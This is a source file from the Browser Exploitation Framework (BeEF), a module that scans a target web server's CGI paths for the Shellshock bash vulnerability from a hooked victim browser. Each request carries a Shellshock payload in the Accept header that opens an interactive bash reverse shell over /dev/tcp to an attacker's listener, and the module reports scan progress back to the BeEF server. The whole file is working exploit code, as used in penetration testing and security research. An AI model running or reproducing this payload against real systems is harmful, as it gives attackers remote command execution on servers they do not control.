//
// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
  var rproto = '<%= @rproto %>';
  var rhost = '<%= @rhost %>'; 
  var rport = '<%= @rport %>';
  var lhost = '<%= @lhost %>';
  var lport = '<%= @lport %>';
  var target = rproto + '://' + rhost + ':' + rport; 
  var method = '<%= @method %>';
  var wait = '<%= @wait %>';

  get_cgi = function(uri) {
    try {
      var payload = "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"+lhost+"/"+lport+" 0>&1 &";
      var xhr = new XMLHttpRequest();
      xhr.open(method, target+uri, true);
      xhr.onload = function () {
      };
      xhr.onreadystatechange = function () {
        if (xhr.readyState == 4 && xhr.status == 200) {
            beef.debug("[command #<%= @command_id %>] Response: " + xhr.response);
        }
      }
      xhr.setRequestHeader("Accept", payload);
      xhr.send(null);
    } catch (e){
      beef.debug("[command #<%= @command_id %>] Something went wrong: " + e.message);
    }
  }

  // add scripts to queue
  var requests = new Array(
<%=
  scripts = []
  File.open("#{$root_dir}/modules/exploits/shell_shock_scanner/shocker-cgi_list", 'r') do |file_handle|
    file_handle.each_line do |line|
      uri = line.chomp!
      next if uri =~ /^#/
      next if uri.nil?
      scripts << "'#{uri}'"
    end
  end
  scripts.shuffle.join(",\n")
%>
);

  // process queue
  beef.debug("[command #<%= @command_id %>] Starting Shellshock scan of "+target+" ("+requests.length+" URLs)");
  beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=starting scan of "+target+" ("+requests.length+" URLs)");
  var timeout = wait * requests.length + 10;
  var handle = setInterval(function() {
    if (requests.length > 0) {
      get_cgi(requests.pop());
    } else cleanup();
  }, wait*1000);

  // clean up
  cleanup = function() {
    if (handle) {
      beef.debug("[command #<%= @command_id %>] Killing timer [ID: " + handle + "]");
      clearInterval(handle);
      handle = 0;
      beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=scan complete");
    }
  }
  setTimeout("cleanup();", timeout*1000);

});
